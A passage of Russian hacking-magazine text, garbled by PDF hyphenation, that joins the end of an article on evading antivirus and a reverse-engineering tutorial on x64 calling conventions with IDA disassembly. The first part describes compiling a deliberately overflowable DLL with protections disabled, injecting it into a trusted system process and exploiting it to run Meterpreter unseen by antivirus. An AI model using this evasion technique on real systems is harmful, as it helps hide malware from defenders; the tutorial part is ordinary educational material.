вает защита. Давай порас сужда ем, почему. Мы вро де бы смог ли внед рить
код край не неожи дан ным спо собом — через buffer overow. И в то же самое
вре мя по сети мы не переда вали код в откры том виде, так что сиг натур ные
движ ки не сра бота ли бы. Но перед непос редс твен ным исполне нием мы
получа ем в памяти тот самый машин ный код. И тут, по-видимо му, анти вирус
и ловит нас, узна вая до боли зна комый Meterpreter.

Ан тивирус не доверя ет exe-фай лу, ска чан ному неиз вес тно отку да
и запущен ному пер вый раз. Он эму лиру ет выпол нение кода и дос таточ но глу- 
боко ана лизи рует его, воз можно даже на каж дой инс трук ции. За это при- 
ходит ся пла тить про изво дитель ностью, и анти вирус не может поз волить себе
делать так для всех про цес сов. Поэто му про цес сы, уже про шед шие про вер ку
на эта пе запус ка (нап ример, сис темные ком понен ты или прог раммы с извес- 
тной кон троль ной сум мой), работа ют под мень шим над зором. Имен но в них
мы и внед рим нашу уяз вимость.

VULN INJECT (ATTACH)

Са мый прос той и удоб ный спо соб выпол нить код в чужом адресном прос- 
транс тве (про цес се) — инжект биб лиоте ки. Бла го DLL мало чем отли чает ся
от EXE и мы можем переком пилиро вать наш уяз вимый сер вис в форм-фак тор
биб лиоте ки, прос то изме нив  на :main() DllMain()

cl.exe /c vuln_rop.c
link.exe vuln_rop.obj /out:vuln_rop.dll /dll /nxcompat:no /fixed

Для мак сималь ной перено симос ти я исполь зую 32-бит ные прог раммы,
поэто му внед рять уяз вимость нам при дет ся в 32-раз рядные про цес сы. Мож- 
но взять любой уже запущен ный или запус тить самому. На 64-бит ной Windows
мы всег да можем най ти 32-бит ные сис темные прог раммы 
в .C:\Windows\SysWOW64

За пуск 32-бит ного про цес са

Те перь в тот или иной 32-бит ный про цесс мы можем внед рить уяз вимость,
прос то заин жектив туда нашу биб лиоте ку.

Ин жект биб лиоте ки в толь ко что запущен ный 32-бит ный сис темный про -
цесс

На ша DLL без ASLR успешно заг ружена по стан дар тно му адре су.

Уяз вимая DLL заг ружена

И теперь целевой про цесс с занесен ным buffer overow готов получать дан- 
ные по сети.

Уяз вимый код начал работать в кон тек сте легитим ного про цес са

Пос коль ку наш уяз вимый модуль заг рузил ся по адре су  (это
дефол тный адрес для не ASLR-биб лиотек), нуж но слег ка скор ректи ровать код
экс пло ита.

0x10000000

Не боль шая кор ректи ров ка кода экс пло ита

Вре мя запус тить сам экс пло ит.

За пуск экс пло ита

В кон тек сте легитим ного про цес са про исхо дит overow.

Пе репол нение буфера в легитим ном про цес се в дей ствии

И мы исполня ем «вре донос ный» код в обход анти виру са.

Вы пол нение вре донос ного кода в обход анти виру са

ÂÛÂÎÄÛ

Мы исполь зовали эффект «неожи дан ного» исполне ния кода в памяти
через 0-day-уяз вимость, анти вирус не смог ее спрог нозиро вать и заб локиро- 
вать угро зу. Заг рузка DLL в чужой про цесс — трюк дос таточ но извес тный,
и мы исполь зовали его исклю читель но для удобс тва: нам поч ти не приш лось
ничего менять.

На самом деле мы мог ли исполь зовать еще более хит рый спо соб — прос- 
то под менить клю чевые инс трук ции в той или иной точ ке памяти про цес са,
где про исхо дит обра бот ка поль зователь ско го вво да, и внед рить тем самым
туда уяз вимость (как бы сде лать анти патч). А положив пару-трой ку удоб ных
ROP-гад жетов в code caves, сде лать ее еще и при год ной к экс плу ата ции.
Но пока что это го даже не тре бует ся.

Тех ника сок рытия выпол нения кода через buffer overow не нова, хоть
и дос таточ но мало извес тна. В дан ном при мере был исполь зован самый три- 
виаль ный при мер buffer overow на сте ке, и он при нес нам успех. Но сущес- 
тву ют куда более хит рые ошиб ки работы с памятью, при водя щие к RCE (скры- 
тому исполне нию): use after free, double free, overow in heap, format strings
и так далее. Это откры вает прак тичес ки неис черпа емый потен циал для при- 
емов обхо да анти вирус ных прог рамм.

https://github.com/s0i37/av_bypass/tree/master/vuln_inject
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ВЗЛОМ

Се год ня мы погово рим о том, какие есть типы вызовов фун- 
кций и как они реали зова ны в раз ных ком пилято рах.
Это поможет нам в деле вос ста нов ления логики прог рамм
при пол ном отсутс твии исходных кодов. Одна ко сна чала мы
погово рим об осо бен ностях сте ка, которые тебе, воз можно,
неиз вес тны.

ÀÄÐÅÑÀÖÈß ÀÐÃÓÌÅÍÒÎÂ Â ÑÒÅÊÅ

Ба зовая кон цепция сте ка вклю чает в себя лишь две опе рации — занесе ние
эле мен та в стек и сня тие пос ледне го занесен ного эле мен та со сте ка. Дос туп
к про изволь ному эле мен ту — это что-то новень кое! Одна ко такое отступ- 
ление от канонов сущес твен но уве личи вает ско рость работы. Если нужен,
ска жем, тре тий по сче ту эле мент, почему бы не вытащить его из сте ка нап- 
рямую, не сни мая пер вые два?

Стек — это не толь ко «стоп ка», как учат популяр ные учеб ники по прог- 
рамми рова нию, но еще и мас сив. А раз так, то, зная положе ние ука зате ля
вер шины сте ка (а не знать его мы не можем, ина че куда при каже те класть
оче ред ной эле мент?) и раз мер эле мен тов, мы смо жем вычис лить сме щение
любого из эле мен тов, пос ле чего не сос тавит никако го тру да его про читать.

По пут но отме тим один из недос татков сте ка: как и любой дру гой гомоген- 
ный мас сив, стек может хра нить дан ные лишь одно го типа, нап ример двой- 
ные сло ва. Если же тре бует ся занес ти один байт (ска жем, аргу мент типа
char), то при ходит ся рас ширять его до двой ного сло ва и заносить его
целиком. Ана логич но, если аргу мент занима ет четыре сло ва (double, int64),
на его переда чу рас ходу ется два сте ковых эле мен та!

По мимо переда чи аргу мен тов, стек исполь зует ся и для сох ранения адре- 
са воз вра та из фун кции, что тре бует в зависи мос ти от типа вызова фун кции
(ближ него или даль него) от одно го до двух эле мен тов. Ближ ний (near) вызов
дей ству ет в рам ках одно го сег мента — в этом слу чае дос таточ но сох ранить
лишь сме щение коман ды, сле дующей за инс трук цией . Если же вызыва-
ющая фун кция находит ся в одном сег менте, а вызыва емая в дру гом, то,
помимо сме щения, при ходит ся запоми нать и сам сег мент, что бы знать,
в какое мес то вер нуть ся.

CALL

Пос коль ку адрес воз вра та заносит ся пос ле аргу мен тов, то отно ситель но
вер шины сте ка аргу мен ты ока зыва ются «за» ним и их сме щение варь иру ется
в зависи мос ти от того, один эле мент занима ет адрес воз вра та или два.
К счастью, плос кая модель памяти Windows NT и всех пос леду ющих поз воля- 
ет забыть о моделях памяти как о страш ном сне и всю ду исполь зовать толь ко
ближ ние вызовы.

Не опти мизи рующие ком пилято ры исполь зуют для адре сации аргу мен тов
спе циаль ный регистр (как пра вило, RBP), копируя в него зна чение регис- 
тра — ука зате ля вер шины сте ка в самом начале фун кции. Пос коль ку стек рас- 
тет свер ху вниз, то есть от стар ших адре сов к млад шим, сме щение всех аргу- 
мен тов (вклю чая адрес воз вра та) положи тель но, а сме щение N-го по сче ту
аргу мен та вычис ляет ся по фор муле

arg_offset = N * size_element + size_return_address

Здесь:
 — номер аргу мен та, счи тая от вер шины сте ка, начиная с нуля;• N

 — раз мер одно го эле мен та сте ка, в общем слу чае рав ный
раз ряднос ти сег мента (под Windows NT — четыре бай та);

• size_element

 — раз мер в бай тах, занима емый адре сом воз- 
вра та (под Windows NT — обыч но четыре бай та).

• size_return_address

Час то при ходит ся решать и обратную задачу: зная сме щение эле мен та, опре- 
делять, к какому по сче ту аргу мен ту про исхо дит обра щение. В этом нам
поможет сле дующая фор мула, эле мен тарно выводя щаяся из пре дыду щей:

Пос коль ку перед копиро вани ем в RBP текуще го зна чения RSP ста рое зна- 
чение RBP при ходит ся сох ранять в том же самом сте ке, в при веден ную фор- 
мулу при ходит ся вно сить поп равку, добав ляя к раз меру адре са воз вра та
еще и раз мер регис тра RBP (EBP в 32-раз рядном режиме, который на сегод- 
няшний день все еще прек расно живет и здравс тву ет).

С точ ки зре ния хакера, глав ное дос тоинс тво такой адре сации аргу мен тов
в том, что, уви дев где-то в середи не кода инс трук цию типа 

 мож но мгно вен но вычис лить, к какому имен но аргу- 
мен ту про исхо дит обра щение. Одна ко опти мизи рующие ком пилято ры
для эко номии регис тра RBP адре суют аргу мен ты непос редс твен но через
RSP.

,MOV RAX, [RBP+0x10]

Раз ница прин ципи аль на! Зна чение RSP не оста ется пос тоян ным на про- 
тяже нии выпол нения фун кции и изме няет ся вся кий раз при занесе нии и сня- 
тии дан ных из сте ка, сле дова тель но, не оста ется пос тоян ным и сме щение
аргу мен тов отно ситель но RSP. Теперь, что бы опре делить, к какому имен но
аргу мен ту про исхо дит обра щение, необ ходимо знать, чему равен RSP в дан- 
ной точ ке прог раммы, а для выяс нения это го все его изме нения при ходит ся
отсле живать от самого начала фун кции!

Под робнее о такой «хит рой» адре сации мы погово рим потом, а для начала
вер немся к пре дыду щему при меру (надо ж его «добить») и раз берем вызыва- 
емую фун кцию (исходник к ней смот ри в  — при мер
на Visual C++):

пре дыду щей статье

     void MyFunc(double, struct XT) proc near
    arg_0 = qword ptr 8
    arg_8 = qword ptr 10h

IDA рас позна ла два аргу мен та, переда ваемых фун кции. Одна ко не сто ит
безого вороч но это му доверять, если один аргу мент (нап ример, )
переда ется в нес коль ких машин ных сло вах, то IDA оши боч но при мет его не за
один, а за нес коль ко аргу мен тов! Поэто му резуль тат, получен ный IDA, надо
трак товать так: фун кции переда ется не менее двух аргу мен тов.

int64

Впро чем, и здесь не все глад ко! Ведь ник то не меша ет вызыва емой фун- 
кции залезать в стек материн ской так далеко, как она захочет! Может быть,
нам не переда вали никаких аргу мен тов вов се, а мы самоволь но полез ли
в стек и стя нули что-то отту да. Хотя это слу чает ся в основном вследс твие
прог раммист ских оши бок из-за путани цы с про тоти пами, счи тать ся с такой
воз можностью необ ходимо. Ког да-нибудь ты все рав но с этим встре тишь ся,
так что будь начеку.

Чис ло, сто ящее пос ле , выража ет сме щение аргу мен та отно ситель но
начала кад ра сте ка.

arg

Из вле каем передан ные аргу мен ты из регис тров про цес сора и раз меща ем
их в памяти (при этом вспо мина ем, что переда вали из вызыва ющей фун кции):

          mov [rsp+arg_8], rdx ; указатель на буфер
       movsd [rsp+arg_0], xmm0 ; значение с плавающей запятой

Да лее ини циали зиру ем стек, под готав лива ем регис тры к работе, про изво дим
необ ходимые вычис ления, затем кла дем в регис тры зна чения для переда чи
парамет ров фун кции :printf

      sub rsp, 28h
      mov eax, 1
     imul rax, 0

      mov rcx, [rsp+28h+arg_8]
      add rcx, rax
      mov rax, rcx
      mov r9, rax
      mov rax, [rsp+28h+arg_8]
      mov r8d, [rax+14h]

    movsd xmm1, [rsp+28h+arg_0]
     movq rdx, xmm1

       lea rcx, _Format ; "%f,%x,%s\n"
    call printf

Об рати вни мание, перед вызовом  прог рамма в трех регис трах раз- 
меща ет зна чения парамет ров для переда чи, а в чет вертом регис тре RCX (так
же для переда чи) помеща ет ука затель на фор матную стро ку спе цифи като ров
вывода: . Фун кция , как извес тно, име ет перемен ное чис ло
аргу мен тов, тип и количес тво которых как раз и зада ют спе цифи като ры.
Вспом ним: спер ва в стек мы заноси ли ука затель на стро ку, и дей стви тель но,
край ний пра вый спе цифи катор  обоз нача ет вывод стро ки. Затем в стек
заноси лась перемен ная типа int и вто рой спра ва спе цифи катор, то есть  –
вывод целого чис ла в шес тнад цатерич ной фор ме.

printf

%f,%x,%s\n printf

%s
%х

А вот затем идет пос ледний спе цифи катор . Заг лянув в руководс тво
прог раммис та по Visual C++, мы проч тем, что спе цифи катор  выводит
вещес твен ное зна чение, которое в зависи мос ти от типа может занимать
и четыре бай та (oat), и восемь (double). В нашем слу чае оно явно занима ет
восемь байт, сле дова тель но, это double. Таким обра зом, мы вос ста нови ли
про тотип нашей фун кции, вот он:

%f
%f

     cdecl MyFunc(double a, struct B b)

Тип вызова cdecl озна чает, что стек вычища ет вызыва ющая фун кция. Вот
толь ко, увы, под линный порядок переда чи аргу мен тов вос ста новить невоз- 
можно. C++Builder, кста ти, так же вычищал стек вызыва ющей фун кци ей,
но самоволь но изме нял порядок переда чи парамет ров.

Мо жет показать ся, что если прог рамму собира ли в C++Builder, то мы
прос то изме няем порядок аргу мен тов на обратный, вот и все. Увы, это не так
прос то. Если име ло мес то явное пре обра зова ние типа фун кции в cdecl, то
C++Builder без лиш ней самоде ятель нос ти пос тупил бы так, как ему велели,
и тог да бы обра щение поряд ка аргу мен тов дало бы невер ный резуль тат!

Впро чем, под линный порядок сле дова ния аргу мен тов в про тоти пе фун- 
кции не игра ет никакой роли. Важ но лишь свя зать переда ваемые и при нима- 
емые аргу мен ты, что мы и сде лали. Обра ти вни мание: это ста ло воз можно
лишь при сов мес тном ана лизе и вызыва емой, и вызыва ющей фун кций! Ана- 
лиз лишь одной из них ничего бы не дал!

INFO

Ни ког да не сле дует безого вороч но полагать ся
на дос товер ность стро ки спе цифи като ров. Пос- 
коль ку спе цифи като ры фор миру ются «вруч ную»
самим прог раммис том, тут воз можны ошиб ки,
под час весь ма труд ноуло вимые и дающие пос ле
ком пиляции чрез вычай но загадоч ный код!

Да лее деини циали зиру ем стек и зак ругля емся.

      add rsp, 28h
retn

ÑÎÃËÀØÅÍÈß Î ÂÛÇÎÂÀÕ

Кое-какие прод вижения уже есть — мы уве рен но вос ста нови ли про тотип
нашей пер вой фун кции. Но это толь ко начало. Еще мно го миль пред сто ит
прой ти… Если устал — передох ни, тяп ни ква са, побол тай с кем-нибудь и про- 
дол жим на све жую голову. Мы прис тупа ем еще к одной очень важ ной теме —
срав нитель ному ана лизу раз ных типов вызовов фун кций и их реали зации
в раз ных ком пилято рах.

stdcall

Нач нем с изу чения стан дар тно го сог лашения о вызове — stdcall. Рас смот рим
сле дующий при мер.

Ис ходник при мера stdcall

#include <stdio.h>
#include <string.h>

        int __stdcall MyFunc(int a, int b, const char* c){
      return a + b + strlen(c);
}

 int main(){
    printf("%x\n", MyFunc(0x666, 0x777, "Hello,World!"));
}

Вот как дол жен выг лядеть резуль тат его ком пиляции в Visual C++ с отклю чен- 
ной опти миза цией, то есть клю чом  (в ином слу чае ком пилятор так заоп- 
тимизи рует код, что исчезнет вся кая поз наватель ная сос тавля ющая):

/0d

     main proc near
      sub rsp, 28h

IDA хорошо нам под ска зыва ет, что кон стан та  содер жит стро ку 
. Ука затель на нее помеща ется в регистр , пред назна чен ный

для переда чи целочис ленных парамет ров или собс твен но ука зате лей. Пер- 
вым по поряд ку переда ется ука затель на стро ку, заг лянув в исходные тек сты
(бла го они у нас есть), мы обна ружим, что это самый пра вый аргу мент,
переда ваемый фун кции. Сле дова тель но, перед нами вызов типа stdcall
или cdecl, но не PASCAL.

c Hello,
World! R8

           lea r8, c ; "Hello,World!"
       mov edx, 777h ; b
       mov ecx, 666h ; a

Сле дом помеща ем в два 32-бит ных регис тра EDX и ECX зна чения двух
перемен ных  и  соот ветс твен но. Пос леднее ока залось самым
левым аргу мен том. Что показы вает нам пра виль но вос ста нов ленный про- 
тотип фун кции. Но так быва ет не всег да, IDA иног да оши бает ся.

0x777 0x666

      call MyFunc(int,int,char const *)

Об рати вни мание, пос ле вызова фун кции отсутс тву ют коман ды очис тки сте ка
от занесен ных в него аргу мен тов. Если ком пилятор не схит рил и не при бег нул
к отло жен ной очис тке, то, ско рее все го, стек очи щает сама вызыва емая фун- 
кция, зна чит, тип вызова — stdcall (что, собс твен но, и тре бова лось доказать).

      mov edx, eax

Те перь, переда ем воз вра щен ное фун кци ей зна чение сле дующей фун кции
как аргу мент.

       lea rcx, _Format ; "%x\n"

Эта сле дующая фун кция  и стро ка спе цифи като ров показы вают, что
передан ный аргу мент име ет тип int.

printf

    call printf
      xor eax, eax
      add rsp, 28h

retn
 main endp

Те перь рас смот рим фун кцию :MyFunc

         ; int __fastcall MyFunc(int a, int b, const char *c)
       int MyFunc(int, int, char const *) proc near

IDA пыта ется самос тоятель но вос ста новить про тотип фун кции и… обла мыва- 
ется. Ины ми сло вами, дела ет это не всег да успешно. Нап ример, «Ида» оши- 
боч но пред положи ла тип вызова , хотя на самом деле — stdcall.
Вспом ним:  на 32-бит ной плат форме пред полага ет переда чу
парамет ров через регис тры про цес сора, тог да как на плат форме x64 пер вые
четыре парамет ра всег да переда ются через регис тры про цес сора, незави- 
симо от ука зан ного типа вызова.

fastcall
fastcall

    var_18 = qword ptr -18h
    var_10 = qword ptr -10h
      arg_0 = dword ptr 8
      arg_8 = dword ptr 10h
     arg_10 = qword ptr 18h

Пе редан ные аргу мен ты из регис тров помеща ются в память, затем пос ле ини- 
циали зации сте ка чис ловые зна чения раз меща ются в регис трах, где про исхо- 
дит их сло жение: .add ecx, eax

      mov [rsp+arg_10], r8
      mov [rsp+arg_8], edx
      mov [rsp+arg_0], ecx
      sub rsp, 18h
      mov eax, [rsp+18h+arg_8]
      mov ecx, [rsp+18h+arg_0]
      add ecx, eax
      mov eax, ecx

Пре обра зова ние двой ного сло ва (EAX) в учет верен ное (RAX):

cdqe

Ко пиро вание из сте ка ука зате ля в стро ку, в регистр RCX и в перемен ную
. Далее ини циали зиру ем перемен ную  зна чени ем , оче вид но,

она будет счет чиком.
var_10 var_18 -1

      mov rcx, [rsp+18h+arg_10]
      mov [rsp+18h+var_10], rcx
      mov [rsp+18h+var_18], 0FFFFFFFFFFFFFFFFh

loc_140001111:

И дей стви тель но, на сле дующем шаге она уве личи вает ся на еди ницу. К тому
же здесь мы видим мет ку безус ловно го перехо да. Похоже, вмес то того, что бы
узнать дли ну стро ки пос редс твом вызова биб лиотеч ной фун кции ,
ком пилятор решил самос тоятель но сге нери ровать код. Что ж, флаг ему
в руки!

strlen

     inc [rsp+18h+var_18]

Зна чения перемен ных вновь копиру ются в регис тры для про веде ния опе- 
раций над ними.

      mov rcx, [rsp+18h+var_10]
      mov rdx, [rsp+18h+var_18]
        cmp byte ptr [rcx+rdx], 0

Зна чения регис тров RCX и RDX скла дыва ются, а сум ма срав нива ется с нулем.
В слу чае если выраже ние тож дес твен но, то флаг ZF уста нав лива ется в еди- 
ницу, в обратном слу чае — в ноль. Инс трук ция  про веря ет флаг Z. Если он
равен нулю, тог да про исхо дит переход на мет ку , отку да блок
кода начина ет выпол нять ся по новой.

JNZ
loc_140001111

      jnz short loc_140001111

Ког да флаг ZF равен еди нице, осу щест вля ется выход из цик ла и переход
на сле дующую за ним инс трук цию, которая накоп ленное в перемен ной-счет- 
чике чис ло записы вает в регистр RCX. Пос ле это го про исхо дит сло жение зна- 
чений в регис трах RCX и RAX, как пом ним, в пос леднем содер жится сум ма
двух передан ных чис ловых аргу мен тов.

      mov rcx, [rsp+18h+var_18]
      add rax, rcx

В завер шении фун кции про исхо дит деини циали зация сте ка:

      add rsp, 18h
retn

      int MyFunc(int, int, char const *) endp

Воз вра щение целочис ленно го аргу мен та на плат форме x64 пре дус мотре но
в регис тре RAX.

На вывод прог рамма печата ет .de9

Вы вод прог раммы stdcall

Лег ко про верить:  — 12 сим волов, то есть 0xC. Открой каль- 
кулятор в Windows:

Hello,World!

0x666 + 0x777 + 0xC = 0xDE9

cdecl

А теперь рас смот рим, как про исхо дит вызов фун кции cdecl. Изме ним в пре- 
дыду щем при мере клю чевое сло во stdcall на cdecl:

#include <stdio.h>
#include <string.h>

        int __cdecl MyFunc(int a, int b, const char* c){
      return a + b + strlen(c);
}

 int main(){
    printf("%x\n", MyFunc(0x666, 0x777, "Hello,World!"));
}

Со ответс тву ющий резуль тат ком пиляции:

; int __fastcall MyFunc(int a, int b, const char *c)
       int MyFunc(int, int, char const *) proc near

   var_18          = qword ptr -18h
   var_10          = qword ptr -10h
    arg_0           = dword ptr 8
    arg_8           = dword ptr 10h
    arg_10          = qword ptr 18h
                     mov [rsp+arg_10], r8
                     mov [rsp+arg_8], edx
                     mov [rsp+arg_0], ecx
                     sub rsp, 18h
                     mov eax, [rsp+18h+arg_8]
                     mov ecx, [rsp+18h+arg_0]
                     add ecx, eax
                     mov eax, ecx

               cdqe
                     mov rcx, [rsp+18h+arg_10]
                     mov [rsp+18h+var_10], rcx
                     mov [rsp+18h+var_18], 0FFFFFFFFFFFFFFFFh

loc_140001111:
                    inc [rsp+18h+var_18]
                     mov rcx, [rsp+18h+var_10]
                     mov rdx, [rsp+18h+var_18]
                       cmp byte ptr [rcx+rdx], 0
                     jnz short loc_140001111
                     mov rcx, [rsp+18h+var_18]
                     add rax, rcx
                     add rsp, 18h

               retn
      int MyFunc(int, int, char const *) endp

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near

                     sub rsp, 28h
                     lea r8, c           ; "Hello,World!"
                     mov edx, 777h       ; b
                     mov ecx, 666h       ; a
                     call MyFunc(int,int,char const *)

                     mov edx, eax
                         lea rcx, _Format ; "%x\n"
                   call printf

                     xor eax, eax
                     add rsp, 28h

               retn
main            endp

Продолжение статьи →
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ФУНДАМЕНТАЛЬНЫЕ

ОСНОВЫ ХАКЕРСТВА
ОПРЕДЕЛЯЕМ «ПОЧЕРК» КОМПИЛЯТОРА

ПО ВЫЗОВАМ ФУНКЦИЙ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Я при вел код без ком мента риев, потому что он байт в байт копиру ет пре дыду- 
щий лис тинг, который я доволь но под робно опи сал, в дан ном слу чае IDA нап- 
левала на ука зания прог раммис та о типе вызова, оста вив все как есть. Секун- 
дочку, а может IDA тут ни при чем, а все му виной ком пилятор, которо му
показа лось, что такой код будет работать луч ше? Ну вот, а хакеру стра дать
в этих хит рос пле тени ях…

WINAPI

Преж де чем перей ти к вещам по-нас тояще му серь езным, рас смот рим
на закус ку пос ледний стан дар тный тип — PASCAL. Будь вни мате лен: Visual
C++ уже дав но не под держи вает тип вызова PASCAL! Вмес то это го исполь зуй
ана логич ный ему тип вызова , опре делен ный в фай ле .WINAPI windows.h

#include <stdio.h>
#include <string.h>
#if defined(_MSC_VER)
#include <windows.h>
// Включать windows.h, только если мы компилируем Visual C++
// Для старых компиляторов эффективное решение — использование
// ключевого слова PASCAL, если они его поддерживают
#endif

int
// Подобный прием программирования, может, и делает листинг
// менее читабельным, но зато позволяет компилировать его
// не только одним компилятором!
#if defined(_MSC_VER)
WINAPI
#else
PASCAL
//__pascal – для C++Builder
#endif

      MyFunc(int a, int b, const char* c){
      return a + b + strlen(c);
}

 int main(){
    printf("%x\n", MyFunc(0x666, 0x777, "Hello,World!"));
}

Что за урод ливый код мы нагоро дили? Если не ука зать тип воз вра щаемых
фун кци ей дан ных, ком пилятор язы ка C под разуме вал исполь зование int, сле- 
дова тель но, мы мог ли написать прос то , и это го было бы дос таточ но
для успешной ком пиляции. C++ так не дела ет, поэто му мы явно ука зыва ем
ему тип.

main()

Да лее про исхо дит выбор: если прог рамма будет ком пилиро вать ся в Visual
C++, то ста вит ся тип вызова , если же любым дру гим ком пилято ром,
тог да — PASCAL. Меж ду тем пос ледние вер сии C++Builder не перева рива ют
тип PASCAL, вмес то него надо исполь зовать  — с дву мя под черки- 
вани ями впе реди. Пос ле это го код про дол жает ся как обыч но: заголо вок фун- 
кции, парамет ры, тело. Тип  под держи вает ся и в VC++, то есть такой
вари ант в сов ремен ных реалиях более уни вер сален, чем PASCAL.

WINAPI

__pascal

__pascal

Фор мирова ние фун кции

Для раз нооб разия откомпи лиру ем его в C++Builder:

Нас трой ки ком пиляции в C++Builder

Пер вое, что бро сает ся в гла за, — сов ремен ный C++Builder тоже не под- 
держи вает сог лашение о вызовах PASCAL!

C++Builder 10.3 Community Edition

Пос мотрим, что же он наком пилиро вал:

; int __cdecl main(int argc, const char **argv, const char **envp)
                public main

 main            proc near
   var_14          = dword ptr -14h
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

; инициализация стека
                     sub rsp, 38h

Пе реда ем фун кции аргу мен ты. Заг лянув в исходный текст, замеча ем, что
аргу мен ты переда ются сле ва нап раво. Одна ко, если исходни ков нет, уста- 
новить этот факт невоз можно! К счастью, под линный про тотип фун кции
не важен.

      mov eax, 666h
      mov r8d, 777h
       lea r9, aHelloWorld ; "Hello,World!"
      mov [rsp+38h+var_4], 0
      mov [rsp+38h+var_8], ecx
      mov [rsp+38h+var_10], rdx
      mov ecx, eax
      mov edx, r8d        ; char *
       mov r8, r9 ; теперь строка в R8
     call MyFunc(int,int,char const*)

По опре делен ному IDA про тоти пу мож но утвер ждать, что тип вызова либо
PASCAL, либо stdcall. Но так как PASCAL уже вышел из упот ребле ния, будем
счи тать, что име ем дело с stdcall.

      lea rcx, unk_44A000
      mov edx, eax
    call printf

      mov [rsp+38h+var_4], 0
      mov [rsp+38h+var_14], eax
      mov eax, [rsp+38h+var_4]
      add rsp, 38h

retn
    main endp

; __int64 __fastcall MyFunc(int, int, const char *)

Ага! IDA вновь дала неп равиль ный резуль тат! Тип вызова явно не !
Одна ко в осталь ном про тотип фун кции верен. Точ нее, не то что бы (на самом
деле порядок аргу мен тов обратный), но для исполь зования при годен.

fastcall

    public MyFunc(int, int, char const*)
      MyFunc(int, int, char const*) proc near
    var_1C          = dword ptr -1Ch
    var_18          = qword ptr -18h
    var_10          = qword ptr -10h
    var_8           = dword ptr -8
    var_4           = dword ptr -4

                       sub rsp, 48h

По меща ем передан ные аргу мен ты из регис тров про цес сора в стек. В ECX
и EDX зна чения типа int, в R8 — стро ка:

      mov [rsp+48h+var_4], ecx
      mov [rsp+48h+var_8], edx
      mov [rsp+48h+var_10], r8

Пе рено сим в регистр ECX аргу мент  типа int, затем скла дыва ем его
с аргу мен том . Сум ма вре мен но хра нит ся в ECX.

var_4
var_8

      mov ecx, [rsp+48h+var_4]
      add ecx, [rsp+48h+var_8]

Пос ле сло жения для рас ширения 32-бит ного опе ран да до 64-бит ного с уче- 
том зна ка ком пилятор вос поль зовал ся инс трук цией , которая появи- 
лась в наборе инс трук ций x86-64. Сум ма хра нит ся в R8. Стро ка теперь
находит ся в RCX.

movsxd

   movsxd r8, ecx
      mov rcx, [rsp+48h+var_10]
       mov [rsp+48h+var_18], r8 ; сумма снова помещается в var_18

В отли чие от Visual C++ для нахож дения дли ны стро ки C++Builder исполь зует
биб лиотеч ную фун кцию , стро ка переда ется ей парамет ром в регис- 
тре RCX:

strlen

    call strlen

Гля ди-ка! Пос ле выпол нения фун кции, как мы зна ем, резуль тат воз вра щает ся
в регис тре RAX, сум ма от пре дыду щего сло жения из перемен ной вновь
попада ет в регистр RCX! Пос ле чего про исхо дит сло жение RCX и RAX,
помеще ние резуль тата в область памяти, затем в EAX, деини циали зация сте- 
ка, воз врат резуль тата выз вавшей фун кции (в нашем слу чае — ).main

      mov rcx, [rsp+48h+var_18]
       add rcx, rax
       mov edx, ecx
       mov [rsp+48h+var_1C], edx
       mov eax, [rsp+48h+var_1C]
       add rsp, 48h
 ; Стек чистит вызываемая функция. Значит, ее тип —
 ; PASCAL или stdcall
 retn

    MyFunc(int, int, char const*) endp

Как мы видим, иден тифика ция базовых типов вызова и вос ста нов ление про- 
тоти пов фун кции — занятие нес ложное.

INFO

Ес ли мы ском пилиру ем этот лис тинг при помощи
VC++ и срав ним резуль тат с пре дыду щими при- 
мера ми, то дизас сем блер ный лис тинг этой прог- 
раммы будет близ ко, но не побай тно похож. При- 
чина в том, что в пос леднем при мере меж ду фун- 
кци ями  и  ком пилятор под сунул
фун кцию , сле дова тель но, адре са
инс трук ций изме нились.

main MyFunc
_vfprintf_l

PASCAL VS stdcall

Единс твен ное, что пор тит нас тро ение, — путани ца меж ду PASCAL и stdcall,
но порядок занесе ния аргу мен тов в стек не име ет никако го зна чения, раз ве
что в осо бых ситу ациях. В сле дующем при мере показан тот слу чай, ког да тре- 
бует ся точ но отли чать PASCAL от stdcall:

#include <stdio.h>
#include <windows.h>
#include <winuser.h>

// CALLBACK — процедура для приема сообщений от таймера
    VOID CALLBACK TimerProc(HWND hwnd, // handle for timer messages

                         UINT uMsg, // WM_TIMER message
                         UINT idEvent, // timer identifier
                         DWORD dwTime // current system time

){
   MessageBeep((dwTime % 5)*0x10);
 // Бибикаем на все голоса
 // Выводим время (в секундах) с момента пуска системы
    printf("\r:=%d", dwTime / 1000);
}

 int main(){
 // Да, это консольное приложение, но оно также может иметь
 // цикл выборки сообщений и устанавливать таймер!
  int a;
  MSG msg;
 // Устанавливаем таймер, передавая ему адрес процедуры TimerProc
    SetTimer(0, 0, 1000, TimerProc);
 // Цикл выборки сообщений. Когда надоест, жмем Ctrl+C
       while (GetMessage(&msg, (HWND) NULL, 0, 0)) {
   TranslateMessage(&msg);
   DispatchMessage(&msg);
 }
}

От компи лиру ем этот при мер из коман дной стро ки при помощи VisualStudio
2019:

cl pascal.callback.c USER32.lib 

И пос мотрим, что из это го получи лось.

Вы вод в кон соль

Схе ма IDA

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near

IDA рас позна ла одну локаль ную перемен ную и даже вос ста нови ла ее тип, что
не может не радовать. Меж ду тем, что осо бо инте рес но, во вре мя тран сля ции
ком пилятор бес совес тно пере име новал фун кцию  в !
Поэто му будь вни мате лен.

TimerProc TimerFunc

        Msg = tagMSG ptr -38h
      sub rsp, 58h
         lea r9, TimerFunc ; lpTimerFunc - передаем указатель на 

функцию TimerProc
      mov r8d, 3E8h       ; uElapse - передаем время задержки таймера
      xor edx, edx        ; nIDEvent - в консольных приложениях 

аргумент nIDEvent всегда игнорируется
      xor ecx, ecx        ; hWnd - окон нет, передаем NULL

Бу лева опе рация XOR быс трее осу щест вля ет обну ление регис тра, передан- 
ного ей в обо их парамет рах, чем прос тое обну ление это го регис тра.

Win32 API-фун кции вызыва ются по сог лашению stdcall — это дает воз- 
можность, зная их про тотип (а он опи сан в SDK), вос ста новить тип и наз- 
начение аргу мен тов. В дан ном слу чае исходный текст выг лядит так:

.SetTimer(NULL, NULL, 1000, TimerProc);

    call cs:SetTimer
loc_14000107B:
; готовимся выбирать сообщения

      xor r9d, r9d        ; wMsgFilterMax – NULL – нет фильтра
      xor r8d, r8d        ; wMsgFilterMin – NULL – нет фильтра
      xor edx, edx        ; hWnd – NULL – нет фильтра

